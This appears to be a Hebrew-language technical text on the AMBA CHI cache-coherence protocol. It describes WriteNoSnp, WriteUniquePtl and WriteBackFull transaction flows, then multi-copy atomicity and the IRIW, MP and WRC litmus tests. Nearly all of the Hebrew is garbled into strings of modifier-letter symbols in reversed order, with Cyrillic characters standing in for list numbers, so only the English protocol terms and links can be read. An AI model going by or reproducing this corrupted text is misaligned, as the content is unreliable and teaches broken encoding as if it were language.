рΦ ˸˟ˣˠ˸ Requester 2 :-sRequester 2 ˶˧ˤ˥ˬ ˪-Home ˸˟ˣˠ˸ SnpResp_I ˢ˷˵˟˪ ˟˪˷ˬ н. 

сΦ ˢ˟ˣˠ˸ˢ˷˩ ˬ-Requester 2 ˢ˰˧ˠˬ ˪˞ s-Home )˶˟˩ˣ ˟˪˷˟ ˢˤ ˢ˰˧ˠˢ ˢ˟ˣˠ˸ˢ ˬ-Requester 1 ,(

˸˰˩ ˪˩ ˸ˣ˟ˣˠ˸ˢ ˞ˣˢ˷ ˢ˩˧˥ ˭ˢ˪ ˣ˰˧ˠˢ ,ˢˣ-Home ˶ˡ˷ˬ ˪-Requester 0 ˸˟ˣˠ˸ Comp_UC ,

ˢ˸ˣ˰ˬ˷ˬ˷ ˢ˷˵˟ˢ˷ ˢˬ˪˷ˣˢ ˢ˥˪˴ˢ˟. 

тΦ ˫˧˧˸ˮ˧˟ ,-sSubordinate ˪˟˧˵ ˸˞ s-WriteNoSnp ˟˪˷ˬ п  ,˟˧˷ˬˣ ˪-Home ˸˟ˣˠ˸ 

CompDBIDResp 

уΦ ˢ˷˩-Home ˪˟˵ˬ ˸˞ s-CompDBIDResp ˢˬ-Subordinate ,˞ˣˢ ˥˪ˣ˷ ˪-Subordinate ˸˞ 

˫˧ˮˣ˸ˮˢ ˫˧˧˲ˣ˯ˢ ˸ˣ˰˴ˬ˞˟ NCBWrData. 

фΦ ˷˩-Requester 0 ˪˟˵ˬ ˸˞ ˢ˟ˣˠ˸ˢ ˬ-Home ,˞ˣˢ ˢˮ˷ˬ ˸˞ ˟˴ˬˢ ˪˷ s-cache line ˬ-SC ˪-UC ,

˶˥˞˪ ˭˩ˬ ,˞ˣˢ ˥˪ˣ˷ ˪-Home ˸˟ˣˠ˸ CompAck ,˸˶˷˞ˬˢ ˢ˧˴˵ˤˮ˶˦ˢ˷ ˢˬ˧˧˸˯ˢ ˢ˥˪˴ˢ˟ .

)Requester 0 ˟˧˧ˣ˥ˬ ˥ˣ˪˷˪ ˸˟ˣˠ˸ CompAck ,˪˪ˠ˟ ˸˷˵˟˪˷ ReadClean ˟˧˧˥ ˢˡ˷ˢ 

ExpCompAck ˸ˣ˧ˢ˪ ˵ˣ˪ˡ.( 

млΦ ˢ˷˩-Home ˪˟˵ˬ ˸˞ s-CompAck ,˞ˣˢ ˪ˣ˩˧ ˫˧˧˯˪ ˸˞ ˢ˧˴˵ˤˮ˶˦ˢ ˞ˣˢˣ ˰˴˟ˬ deallocate 

ˢ˷˵˟˪. 
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 ˞˪˪ ˢ˟˧˸˩ ˸˧˧˴˵ˤˮ˶˦snoop  ˸ˣˡ˶˲ˮ ˸ˣ˟ˣˠ˸ˣ 

˶ˣ˧˞ˢ B5.15 ˠ˧˴ˬ ˸˞ s-flow ˪˷ ˸˧˧˴˵ˤˮ˶˦ WriteNoSnp ,ˢ˟˷ ˫˧ˮˣ˸ˮ ˫˧˟˸˩ˮ ˞˪˪ ˨˶ˣ˴ ˰ˣ˴˧˟˟ 

snoop. 

 

[Figure B5 15 WriteNoSnp with separate responses from Home Node to Request Node from AMBA CHI Architecture Specification 

(developer.arm.com)] 

˫˧˟˪˷ ˸ˬ˧˶ˤ˟ ˢ˧˴˵ˤˮ˶˦ˢ WriteNoSnp ˧˲˩ ˫˧ˠ˴ˣˬ˷ ˶ˣ˧˞˟ B5.15: 

мΦ ˸˵˲ˮˢ ˢ˷˵˟ˢ :Requester 0 ˥˪ˣ˷ ˢ˷˵˟ ˢ˟˧˸˩˪ ˠˣ˯ˬ WriteNoSnp ˪˞ s-Home. 

нΦ ˶˥˞˪ ˢ˷-Home ˪˟˵ˬ ˸˞ ˢ˷˵˟ˢ ˬ-Requester 0 ,˞ˣˢ ˢ˴˵ˬ ˫˧˟˞˷ˬ ˢ˷˵˟˪ ˫ˠˣ ˶˧ˤ˥ˬ ˪-

Requester 0 ˸˟ˣˠ˸ DBIDResp ,˞˪˪ Comp. 

оΦ ˪˧˟˵ˬ˟ ,-sHome ˶ˡ˷ˬ ˸˷˵˟ WriteNoSnp ˪˞ s-Subordinate. 

пΦ ˸˶˟˰ˢ ˫˧ˮˣ˸ˮˢ :Requester 0 ˶ˡ˷ˬ ˪-Home ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˷ˣ˶ˡˢ ˢ˟˧˸˩˪ ˸ˣ˰˴ˬ˞˟ 

NCWrData. 

рΦ ˶˥˞˪ ˢ˷-Subordinate ˪˟˵ˬ ˸˞ ˸˷˵˟ ˢ˟˧˸˩ˢ ,˞ˣˢ ˶˧ˤ˥ˬ ˪-Home ˸˞ ˢ˟ˣˠ˸ˢ 

CompDBIDResp. 

сΦ s-Home ˪˟˵ˬ ˸˟ˣˠ˸ CompDBIDResp ˢˬ-Subordinate ,˶˥˞˪ˣ ˭˩ˬ s-Home ˶ˡ˷ˬ ˸˞ ˫˧ˮˣ˸ˮˢ 

˫˧˧˲ˣ˯ˢ )NCBWrData (-˪Subordinate ˧ˡ˩ ˭˩ˡ˰˪ ˸˞ ˭ˣ˶˩˧ˤˢ. 

тΦ s-Home ˥˪ˣ˷ ˪-Requester 0 ˸˞ ˸˟ˣˠ˸ s-Comp ,ˢ˰˧ˡˣˬˢ ˪˰ ˸ˬ˪˷ˢ ˢ˧˴˵ˤˮ˶˦ˢ .˸ˣ˶ˬ˪ 

ˢˬˠˣˡ˟˷ xʕ s-Comp ˥˪˷ˮ ˶˥˞˪ ˸˪˟˵ ˸˟ˣˠ˸ CompDBIDResp ˢˬ-Subordinate ,-sHome ˧˞˷˶ 

˥ˣ˪˷˪ ˸˞ s-Comp ˪˩˟ ˟˪˷ ˶˥˞˪ ˪˟˧˵˷ ˸˞ ˸˷˵˟ s-WriteNoSnp ˬ-Requester 0. 
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уΦ ˷˩-Requester 0 ˪˟˵ˬ ˢˬ-Home ˸˞ ˸˰ˡˣˢ s-Comp ˞ˣˢ˷ ˢ˩˧˥ ˢ˪ ,˸ˮˬ˯ˬˢ ˸˞ ˫ˣ˧˯ ˨˧˪ˢ˸ˢ ,

˞ˣˢ ˰˴˟ˬ deallocate ˢ˷˵˟˪. 

 ˫˰ ˢ˟˧˸˩ ˸˧˧˴˵ˤˮ˶˦snoop  ˸ˣˡ˶˲ˮ ˸ˣ˟ˣˠ˸ˣ 

ˢˬˠˣˡ ˪-flow ˠˣ˯ˬ ˢˤ ˞˧ˢ ˸˧˧˴˵ˤˮ˶˦ WriteUniquePtl ,ˢ˟˷ ˢ˟˧˸˩ ˸˰˴˟˸ˬ ˫˰ ˸˪˰˲ˢ snoop. 

[Figure B5 16 WriteUniquePtl with snoop 1 from AMBA CHI Architecture Specification (developer.arm.com)] 

˧˟˪˷ ˸ˬ˧˶ˤ ˢ˧˴˵ˤˮ˶˦ˢ WriteUniquePtl ˫˰ Snoop )˶ˣ˧˞ B5.16:( 

мΦ ˸˵˲ˮˢ ˢ˷˵˟ˢ :Requester 0 ˥˪ˣ˷ ˸˷˵˟ WriteUniquePtl ˪˞ s-Home. 

нΦ ˸˥˧˪˷ ˸ˣ˷˵˟ Snoop ˸˟ˣˠ˸ˣ DBIDResp :-sHome ˶ˡ˷ˬ ˸ˣ˷˵˟ SnpCleanInvalid ˪-Requester 

1 ˪x-Requester 2 ,˭˸˶˦ˬ˷ ˸ˣ˵ˮ˪ ˪˦˟˪ˣ ˸˞ ˱˵ˣ˸ s-cache line ˟-node-˫˧ ˣ˪˞ˢ. 

оΦ ˪˧˟˵ˬ˟ ,-sHome ˥˪ˣ˷ ˪-Requester 0 ˸˟ˣˠ˸ DBIDResp ,ˢˡ˧˰ˬ˷ ˪˰ ˸˪˟˵ ˢ˷˵˟ˢ. 

пΦ ˷˩-Requester 1 ˪˟˵ˬ ˸˞ s-SnpCleanInvalid ,˞ˣˢ ˟˧˷ˬ ˪-Home ˫˰ ˸˟ˣˠ˸ SnpResp_I ,

˸ˮ˧˧˴ˬˢ ˢ˷-cache line ˞˴ˬˮ ˟˴ˬ˟ Invalid. 

рΦ ˷˩-Requester 2 ˪˟˵ˬ ˸˞ s-SnpCleanInvalid ˬ-Home ,˞ˣˢ ˢˮ˷ˬ ˸˞ ˟˴ˬ s-cache line ˬ-UD 

-˪I .˶˥˞˪ ˭˩ˬ ,˞ˣˢ ˥˪ˣ˷ ˪-Home ˸˟ˣˠ˸ SnpRespData_I_PD ,˸˪˪ˣ˩ˢ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˩˪˩ˣ˪ˬˢ 

˟˴ˬ˟ Invalid. 

сΦ ˷˩-Requester 0 ˪˟˵ˬ ˸˞ s-DBIDResp ˬ-Home ,˞ˣˢ ˶ˡ˷ˬ ˪-Home ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧ˡ˰ˣ˧ˬˢ 

ˢ˟˧˸˩˪ ˸ˣ˰˴ˬ˞˟ NCBWrData. 
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тΦ s-Home ˪˟˵ˬ SnpRespData_I_PD ˬ-Requester 2. 

уΦ s-Home ˪˟˵ˬ SnpResp_I ˬ-Requester 1 ,˟˪˷˟ ˢˤ ˣ˰˧ˠˢ ˪˩ ˸ˣ˟ˣˠ˸ˢ ˸ˣ˷˵˟ˬ s-snoop ˞ˣˢ˷ 

˥˪˷ .˭˩˪ ,˞ˣˢ ˞˪ ˨˧˶˴ ˶˸ˣ˧ ˸ˣ˩˥˪ ,˞ˣˢˣ ˥˪ˣ˷ ˪-Requester 0 ˸˞ ˸˟ˣˠ˸ s-Comp. 

фΦ ˫˧˧˸ˮ˧˟ ,-sHome ˪˟˵ˬ ˸˞ ˢ˰ˡˣˢˢ ˬ-Requester 0 ˫˰ ˫˧ˮˣ˸ˮˢ ˢ˟˧˸˩˪ ,˞ˣˢ ˠˤˬˬ ˸˞ ˧ˮˣ˸ˮ 

ˢ˟˧˸˩ˢ ˫˰ s-cache line ˸˩˪˩ˣ˪ˬˢ ˢ˪˟˵˸ˢ˷ ˬ-Requester 2 ,˥˪ˣ˷ˣ ˸˷˵˟ WriteNoSnp ˪˞ s-

Subordinate ,˧ˡ˩ ˭˩ˡ˰˪ ˸˞ ˢ˶ˣ˷ˢ ˭ˣ˶˩˧ˤ˟. 

млΦ s-Subordinate ˶˧ˤ˥ˬ ˪-Home ˸˞ ˸˟ˣˠ˸ CompDBIDResp. 

ммΦ ˷˩-Requester 0 ˪˟˵ˬ ˢˬ-Home ˸˞ ˸˰ˡˣˢ s-Comp ˞ˣˢ˷ ˢ˩˧˥ ˢ˪ ,˸ˮˬ˯ˬˢ ˸˞ ˫ˣ˧˯ ˨˧˪ˢ˸ˢ ,

˞ˣˢ ˰˴˟ˬ deallocate ˢ˷˵˟˪. 

мнΦ s-Home ˥˪ˣ˷ ˪-Subordinate ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˧˲ˣ˯ˢ ˸ˣ˰˴ˬ˞˟ NCBWrData ,˨˩˟ˣ ˫˧˧˯ˬ ˸˞ 

˨˧˪ˢ˸ ˢ˟˧˸˩ˢ ˞ˣˢˣ ˰˴˟ˬ deallocate ˢ˷˵˟˪. 

 ˢ˟˧˸˩ ˸˧˧˴˵ˤˮ˶˦CopyBack  ˭ˣ˶˩˧ˤ˪ 

˸˧˧˴˵ˤˮ˶˦ WriteBackFull ˸˶˞˸ˬ ˨˧˪ˢ˸ ˣ˟˷ ˮ˫˧ˮˣ˸ ˫˧˶ˬ˷ˮ ˢˬ-cache ˪˷ s-Requester ˭ˣ˶˩˧ˤ˪ x˞ 

-˪cache ˢˬ˶˟ ˢ˞˟ˢ. 

[Figure B5 17 WriteBackFull transaction flow from AMBA CHI Architecture Specification (developer.arm.com)] 
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˫˧˟˪˷ ˸ˬ˧˶ˤ˟ ˸˧˧˴˵ˤˮ˶˦ WriteBackFull )˶ˣ˧˞ B5.17:( 

мΦ ˸˵˲ˮˢ ˢ˷˵˟ˢ :Requester 0 ˥˪ˣ˷ ˸˷˵˟ WriteBackFull ˪˞ s-Home. 

нΦ ˢ˷˩-Home ˪˟˵ˬ ˸˞ ˢ˷˵˟ˢ ,˞ˣˢ ˶˧ˤ˥ˬ ˪-Requester 0 ˸˟ˣˠ˸ CompDBIDResp. 

оΦ ˶˥˞˪ ˷-Requester 0 ˪˟˵ˬ ˸˞ ˢ˟ˣˠ˸ˢ ˬ-Home ,˞ˣˢ ˢˮ˷ˬ ˸˞ ˟˴ˬ s-cache line ˬ-UD ˪-I .

˶˥˞˪ ˭˩ˬ ,˞ˣˢ ˶ˡ˷ˬ ˪-Home ˸˞ ˫˧ˮˣ˸ˮˢ ˷˧˷ ˟ˣ˸˩˪ ˸ˣ˰˴ˬ˞˟ CBWrData_UD_PD ,˫˧˪˪ˣ˩˷ 

˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˩˪˩ˣ˪ˬˢ ˢˬ-cache .˶˥˞˪ ˭˩ˬ ,˞ˣˢ ˫˧˧˯ˬ ˸˞ ˰ˣ˴˧˟ˢ ˪˷ ˨˧˪ˢ˸ˢ ˣ˸ˮ˧˥˟ˬ ,˭˩˪ 

˞ˣˢ ˰˴˟ˬ deallocate ˢ˷˵˟˪. 

пΦ ˢ˷˩-Home ˪˟˵ˬ ˸˞ ˫˧ˮˣ˸ˮˢ ˬ-Requester 0 ,-sHome ˥˪ˣ˷ ˸˷˵˟ WriteNoSnp ˪-

Subordinate. 

рΦ s-Subordinate ˥˪ˣ˷ ˪-Home ˸˞ ˸˟ˣˠ˸ CompDBIDResp. 

сΦ s-Home ˥˪ˣ˷ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˧˲ˣ˯ˢ ˪˞ s-Subordinate ˸ˣ˰˴ˬ˞˟ NCBWrData ,˨˩˟ˣ ˫˧˪˷ˬ ˸˞ 

ˢ˟˧˸˩ˢ ˭ˣ˶˩˧ˤ˪ ,˫˧˧˯ˬˣ ˸˞ ˢ˧˴˵ˤˮ˶˦ˢ .˭˩˪ ,˞ˣˢ ˰˴˟ˬ deallocate ˢ˷˵˟˪. 

Multi -copy atomicity  

 ˸ˣ˧ˬˣ˦˞ ˸˷˧˶ˡ 

ˢ˶˧ˬ˷ ˟-cache ˪˷ ˫˧ˮˣ˸ˮ ˫˧˲˸ˣ˷ˬ ˢˣˣˢˬ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˢ˟ˣ˷˥ ˸˰˧˧˯ˬ˷ ˸˧˥˲ˢ˪ ˸˞ ˭ˬˤ ˢ˧˧ˢ˷ˢ 

˪˷ ˸ˣ˷˧ˠ ˭ˣ˶˩˧ˤ˪ ˸ˣ˩˶˰ˬ˟ ˭ˣ˶˩˧ˤ ˱˸ˣ˷ˬ .˫˪ˣ˞ ,ˢ˶˧ˬ˷ ˟-cache ˸˶˴ˣ˧ ˶˲˯ˬ ˫˧˵˸ˣ˰ ˪˷ ˫˧ˮˣ˸ˮ 

˫˧˸ˬ˴˟ ˫˧ˮˣ˷ ˸˷˶˟ ,˨˶ˣ˴ˢˣ ˶ˣˬ˷˪ ˪˰ ˸ˣ˧ˮ˩ˡ˰ ˫˧˵˸ˣ˰ˢ ˣ˪˪ˢ ˪˩˟ ˢ˟˧˸˩ ˪ˣ˩˧ ˸ˣˣˢ˪ ˶ˠ˸˞ .˸ˬ˧˧˵ 

˸ˣ˶˷˲˞ˢ ˪˦˟˪ ˸˞ ˫˧˵˸ˣ˰ˢ ˫˧ˮ˷˧ˢ x˞ ˭˩ˡ˰˪ ˫˸ˣ˞ ˨˶˰˪ ˷ˡ˥ˢ .˨˞ ˸˴˲ˢ ˫˧˵˸ˣ˰ˢ ˧ˮˣ˷ˢˣ ˧˪ˣ˪˯ˬ˟ 

˸˷˶ˢ ˫˧˷˵ˬ ˪˰ ˪ˣ˦˧˟ x˞ ˭ˣ˩ˡ˰ ˪˷ ˫˧˵˸ˣ˰ˢ ˢ˶ˣ˴˟ ˸˧ˬˣ˦˞. 

˟ˣ˶˪ ,˷˧ ˸ˣˮˣ˶˸˲ ˫˧˧˟˧˦˵˲˞ ˸˷˧˶ˡ˪ ˸ˣ˧ˬˣ˦˞ ˶ˣ˟˰ ˸ˣ˩˶˰ˬ ˸ˣ˷ˬ˸˷ˬˢ ˟-invalidating .˸ˣˮˣ˶˸˲ 

˸ˣ˩˶˰ˬ˪ ˸ˣ˷ˬ˸˷ˬˢ ˟-updating ˫˧˦ˣˮ ˸ˣ˧ˢ˪ ˫˧˩˟ˣ˯ˬ ˧˸˪˟ˣ ˫˧˪˧˰˧ ˸ˬˣ˰˪ ˸ˣˮˣ˶˸˲ˢ ˪-invalidating. 

˫˧˶ˣ˲˧˷ ˫˧˧ˮˣ˦˵˦˧˩˶˞ ˫˸˶˦ˬ˷ ˡˡˣˬ˸ˢ˪ ˫˰ ˧ˮˬˤ ˢ˧˧ˢ˷ˢ ˫˧˩ˣ˶˞ ˭ˣ˶˩˧ˤ˟ ,˫˧˧ˣ˷˰ ˰˧˲˷ˢ˪ ˪˰ 

˸ˣˠˢˮ˸ˢ ˭ˣ˶˩˧ˤˢ ,˨˩˟ ˫ˢ˷ ˫˧˶˷˲˞ˬ ˸ˣ˪ˣ˰˲˪ ˷˥˶˸ˢ˪ ˳ˣ˥ˬ ˶ˡ˯˪ ˭ˮ˩ˣ˸ˬˢ ,ˣ˞ ˫ˣ˶ˠ˪ ˭ˢ˪ ˸ˣ˞˶˧ˢ˪ 

ˣ˪˧˞˩ ˭ˮ˧˞ ˸ˣ˧ˬˣ˦˞. 

˸ˣ˩˶˰ˬ˟ ˸ˣ˧ˮ˶ˡˣˬ ,˭ˢ˟˷ ˫˧ˬ˧˧˵ ˶˲˯ˬ ˫˧ˡ˟˰ˬ ˪˩ˣ ˡ˥˞ ˫ˢˬ ˵˧ˤ˥ˬ ˵˸ˣ˰ ˪˷ ˪˩ ˭ˣ˶˩˧ˤ ,ˣˮ˞ ˫˧˷˶ˡˮ 

˷ˬ˸˷ˢ˪ ˫˧˪ˡˣˬ˟ ˪˷ ˭ˣ˶˩˧ˤ ,˫˰ ˫˧˵˸ˣ˰ ˪˩˟ ˡ˟˰ˬ ,˪˰ ˸ˮˬ ˯ˣ˲˸˪ ˸˞ ˸ˣ˰˲˷ˢˢ ˞˪ˢ ˸ˣ˧ˬˣ˦˞ 

˸ˣ˰˟ˣˮ˷ ˸ˣ˞˴ˬ˧ˢˬ ˶˲˯ˬ ˫˧˵˸ˣ˰ ˪˷ ˫ˣ˵˧ˬ ˭ˣ˶˩˧ˤ ˡ˧˥˧. 

˭ˣˣ˧˩ˬ ˭ˣ˶˩˧ˤˢ˷ ˣˮ˧˞ ˡ˵˲˸ˬ ˡˣ˰ ˵˸ˣ˰˩ ˧ˠˣ˪ ˡ˧˥˧ ,˷˧ ˨˶ˣ˴ ˟˧˥˶ˢ˪ ˸˞ ˠ˷ˣˬˢ ˪˷ ˸ˣ˪ˣ˰˲ ˢ˞˧˶˵ 

ˢ˟˧˸˩ˣ ,˪˰ ˸ˮˬ ˡˡˣˬ˸ˢ˪ ˫˰ ˫˸ˣ˥˩ˣˮ ˪˷ ˶˲˯ˬ ˫˧˵˸ˣ˰ .ˢ˟˧˸˩ ˫˧˟˴ˬ˟ ˢ˪˞˩ ˢ˧ˣ˷˰ ˞˪ ˸ˣ˞˶˧ˢ˪ 

˸˧ˬˣ˦˞. 
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 ˪ˡˣˬMulti -Copy Atomicity  

˭ˣ˧˰˶ˢ ˪˷ multi-copy atomicity ,˷˶ˣˡ ˪˩˷ ˶˞˷ ˸ˣ˟˧˪ˢ ˣ˞˶˧ ˸˞ ˢ˟˧˸˩ˢ ˪˷ ˢ˟˧˪ ˸ˬ˧ˣ˯ˬ ˭˲ˣ˞˟ ˧ˠˣ˪ 

ˣ˟-˸˧ˮˬˤ. 

˪ˡˣˬ˟ ˞ˣˢ˷ multi-copy atomicity ,˷˧ ˸ˡˣ˵ˮ ˭ˬˤ ˸˧ˬˣ˦˞ ˢ˟˷ ˢ˟˧˸˩ˢ ˸˯ˮ˩ˮ ˱˵ˣ˸˪ ˭ˣ˶˩˧ˤ˟ .˧ˮ˲˪ 

˸ˡˣ˵ˮ ˭ˬˤˢ ˣˤˢ ,˱˞ ˢ˟˧˪ ˸˶˥˞ ˞˪ ˢ˪ˣ˩˧ ˸ˣ˞˶˪ ˸˞ ˨˶˰ˢ ˷ˡ˥ˢ ˟˸˩ˮ˷ .˶˥˞˪ ˢˡˣ˵ˮ xʕ ,˪˩ ˸ˣ˟˧˪ˢ 

˸ˣ˶˥˞ˢ ˸ˣ˟˧˧˥ ˸ˣ˞˶˪ ˸˞ ˨˶˰ˢ ˷ˡ˥ˢ x˞ ˨˶˰ ˢ˟˧˸˩ˬ ˸˶˥ˣ˞ˬ ˶˸ˣ˧ ,˨˞ ˞˪ ˨˶˰ ˧ˮ˲˪ˬ ˢ˟˧˸˩ˢ. 

˧ˡ˩ ˨ˣˬ˸˪ ˟-multi-copy atomicity ,˷˧ ˨˶ˣ˴ ˪˲˦˪ ˭ˣ˩ˮ ˷˧˥˶˸˟ ˧ˣ˶˵ˢIndependent Read 

Independent Write )IRIW) (˪˵˸ˮ˷ x˟ ˡˣ˰ ˫˧˶ˬ˞ˬ˟ ˫˧˧ˡ˧˸˰ ,(ˣ˟˷ ˸ˣ˞˧˶˵ ˸ˣ˟˧˸˩ˣ ˫˧ˬˣ˵˧ˬ˪ ˫˧ˮˣ˷ 

˭ˣ˶˩˧ˤ˟ ˸ˣ˷˰ˮ ˢ˶ˣ˴˟ ˧˸˪˟ ˢ˧ˣ˪˸ .˫˰ ˸˞ˤ ,˪ˣ˲˧˦ ˭ˣ˩ˮ ˟-IRIW ˣˮ˧˞ ˥˧˦˟ˬ ˸˧˦ˬˣ˦ˣ˞ ˸˩˶˰ˬ˷ ˡˣˬ˰˸ 

˸ˣ˷˧˶ˡ˟ ˪˷ multi-copy atomicity. 

˸ˣ˰ˬ˷ˬˢ ˪˷ ˭ˣ˶˵˧˰ multi-copy atomicity ,˞ˣˢ ˭˸˧ˮ˷ ˡ˵ˬ˸ˢ˪ ˭ˣ˶˩ˮ˯˟ ˢˬ˶˟ ˸˧ˬˣ˵ˬˢ ˪˷ ˪˩ 

thread ,˧˪˟ˬ ˥˸ˮ˪ ˸˞ ˢ˧˴˵˞˶˦ˮ˧˞ˢ ˸˪˪ˣ˩ˢ ˭˧˟ ˪˩ s-thread-˫˧ ,˸˧ˮ˩ˣ˸˟ ˸˟ˣ˶ˬ-thread-˫˧ .˭˲ˣ˞˟ 

ˢˤ ,˶˷˲˞ ˥˧˦˟ˢ˪ ˭ˣ˶˩ˮ˯ ˭ˣ˩ˮ ˪˷ ˫˧˯ˣ˲ˡ ˣˬ˩ MP x-WRC ,˸ˣ˰˴ˬ˞˟ ˸ˣ˵ˬˮˢ ˭ˣ˶˩ˮ˯ ˸ˣ˧ˬˣ˵ˬ ˩˪ ˪

thread ,˫ˣ˵ˬ˟ ˪˧˥ˢ˪ ˧˪ˣ˵˧˷ ˭ˣ˶˩ˮ˯ ˪˰ ˸˧ˮ˩ˣ˸ˢ ˢ˪ˣ˩ .ˢˤ ˢˮˣ˷ ˸ˣ˶ˣ˦˵˦˧˩˶˞ˬ ˸ˣ˶˥˞ ,ˣˬ˩ IBM 

Power ,˭ˢ˟ ˭˥˟ˬˢ WRC ˷˶ˣˡ ˭ˣˮˠˮˬ ˱˯ˣˮ ˞˶˵ˮ˷ cumulative )˪˟˵˧˷ ˶˟˯ˢ ˶ˬ˞ˬ˟ ˶˥˞ ˨˷ˬˢ˟ ,(

˧ˡ˩ ˥˧˦˟ˢ˪ ˭ˣ˶˩ˮ˯ ˭ˣ˩ˮ. 

˸ˮ˧˥˟ˬ ˫ˣ˷˧˧ ˢ˶ˬˣ˥ˢ ,˪ˡˣˬ multi-copy atomicity ˨˧˶˴ˬ ˫˧ˮˣˮˠˮˬ ˸ˣ˥˲ ˫˧˟˩˶ˣˬ ˧ˡ˩ ˰ˣˮˬ˪ 

˸ˣ˧ˣˠˢˮ˸ˢ ˸ˣˠ˧˶˥ ˣˬ˩ ˣ˪˞ ˸ˣ˲˴ˮ˷ ˟-WRC .˱˞ ˪˰ ˧˲ ˢ˷˧˶ˡˢ˷ ˣˤˢ ˢ˪˧˦ˬ ˯ˬˣ˰ ˱˯ˣˮ ˪˰ ˢ˶ˬˣ˥ˢ ,

˞˧ˢ ˢ˰˧˴ˬ ˭ˣ˶˸˧ ˨˩˟ ˞˧ˢ˷ ˸˶˴ˣ˧ ˪ˡˣˬ ˸ˣ˧˟˵˰ ˦ˣ˷˲ ˶˸ˣ˧ ˶ˣ˟˰ ˫˧˥˸˲ˬˢ. 

˪ ˶˷˵ˢ-Single-Copy Atomicity  

˶ˣ˵ˬ˟ ,˫˷ˢ ˪˷ s-multi-copy atomicity ˰˧ˠˢ ˬ-single-copy atomicity ,˪˪ˠ˟ ˫ˢ˷ ˫˧ˬˣˡ ˢˮ˧˥˟ˬ 

˸˧ˮˣ˧˰˶ .-ssingle-copy atomicity ,˞˪ ˶˧ˡˠˬ ˸˞ ˰ˠ˶ˢ ˵˧ˣˡˬˢ ˣ˟˷ ˫˧ˮˣ˸ˮˢ ˫˧ˮ˩ˡ˰˸ˬ .˸ˣ˟˧˷˥ˢ ˞˧ˢ 

˞ˡˣˣ˪ ˱˞˷ ˡ˟˰ˬ ˞˪ ˪˩ˣ˧ ˸ˣ˞˶˪ ˟˴ˬ ˪˷ ˫˧ˮˣ˸ˮ ˫˧ˮ˩ˡˣ˰ˬ ˸˧˵˪˥. 

-˟multi-copy atomicity ˣ˸ˣ˞ ˭ˣ˧˰˶ˢ ˫˧˧˵ ,˦ˣ˷˲ ˞˪ ˨˶˰˪ ˡˡˣ˟ ,˶ˣ˯˞˷ ˪˧˩˧˷ ˟ˣ˟˶˰ ˪˷ ˶˲˯ˬ 

˸ˣ˟˧˸˩ .˞˪˞ ˫ˣ˵˧ˬ˪ ˭ˣ˶˩˧ˤ ˨˧˶˴˷ ˸ˣ˞˶˧ˢ˪ ˢˢˤ ˪˩˪ ˫˧ˡ˟˰ˬˢ. 

 ˸ˣ˧˸˟˧˯-xMulti -Copy Atomicity  

˸ˣ˧˸˟˧˯ ,˸ˣ˶ˬ˪ ˞˧ˢ˷ ˸˵˲˯ˬ ˢ˥˦˟ˢ ˪˷ ˶ˡ˯ ˧ˠˣ˪ ˪˷ ˫˧˰ˣ˶˧˞ ,ˢˮ˧˞ ˥˶˩ˢ˟ ˢ˰˧˟˴ˬ ˪˰ multi-copy 

atomicity .ˢˬˠˣˡ ˨˩˪ ,˞˧ˢ ˟˴ˬ ˣ˟˷ ˶˲˯ˬ ˸ˣ˟˧˪ ˸ˣ˵˪ˣ˥ store buffer :˸ˣ˟˧˪ˢ ˸ˣ˵˪ˣ˥˷ ˸˞ s-store 

https://www.cl.cam.ac.uk/~pes20/arm-supplemental/arm019.html#tst@IRIW
https://www.cl.cam.ac.uk/~pes20/arm-supplemental/arm029.html#tst@MP
https://www.cl.cam.ac.uk/~pes20/arm-supplemental/arm042.html#tst@WRC
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buffer ˣ˞˶˧ ˸˞ ˢ˟˧˸˩ˢ ,ˡˣ˰˟ ˸ˣ˟˧˪˷ ˭ˮ˧˞˷ ˸ˣ˵˪ˣ˥ ˣ˸ˣ˞ ˞˪ ˣ˞˶˧ ˸˞ ˢ˟˧˸˩ˢ .˟˴ˬ ˢˤ ˶˲ˬ ˸˞ ˭ˣ˶˵˰ 

˸ˣ˧ˬˣ˦˞ˢ ˪˷ ˢ˟˧˸˩ˢ ,˭˩˷ ˢ˟˧˸˩ˢ ˢˮ˧˞ ˢ˧ˣ˪ˠ ˭˲ˣ˞˟ ˡ˧˥˞ ˪˩˪ ˸ˣ˟˧˪ˢ ˸˩˶˰ˬ˟. 

˶˷˞˩ ˢ˟˧˸˩ ˢˮˣ˰ ˪˰ ˫˧˞ˮ˸ˢ ˪˷ multi-copy atomicity ,ˢˤ ˤˬ˶ˬ ˪˰ ˨˩ ˢ˟˧˸˩ˢ˷ ˸˶ˬ˷ˬ ˸ˣ˧˸˟˧˯ ,

˶ˬˣ˪˩ ˪˩ ˸ˣ˟˧˪ˢ ˸˩˶˰ˬ˟ ˣ˪˟˵˧ ˸˞ ˰ˡ˧ˬˢ ˷ˡ˥ˢ ˧˲˪ ˶ˡ˯ ˧ˠˣ˪ ˪˷ ˸ˣ˷˥˶˸ˢ ˫˧˰ˣ˶˧˞ˢ .˭˩˪ ,˪ˡˣˬ 

˶ˬˣ˷˷ ˪˰ multi-copy atomicity ,ˤˬ˶ˬ ˪˰ ˨˩ ˸ˣ˧˸˟˧˯ˢ˷ ˸˶ˬ˷ˮ. 

 ˪ˡˣˬNon-Multi -Copy Atomic  

˪ˡˣˬ ˞ˣˢ˷ Non-Multi-Copy Atomic ,˶˞˸ˬ ˭˲ˣ˞ ˢ˪ˣ˰˲ .˥ˣˮ ˶˸ˣ˧ ˭˧˟ˢ˪ ˪˰ ˧ˡ˧ ˢˬˠˣˡ ˪˷ ˪ˡˣˬ 

˧˦˶ˣ˞˧˸: 

˸˸-˸˩˶˰ˬ ˭ˣ˯˥˞ˢ ˡ˟˰ˬ˟ ˸˟˩˶ˣˬ ˢ˧˩˶˶˧ˢˬ ˸˶ˣ˴˟ ˳˰ ˪˷ ˫˧˶ˣ˸ ,˫˧˞˴ˬˮˢ ˪˰ˬ ˸˩˶˰ˬ ˭ˣ˶˩˧ˤ 

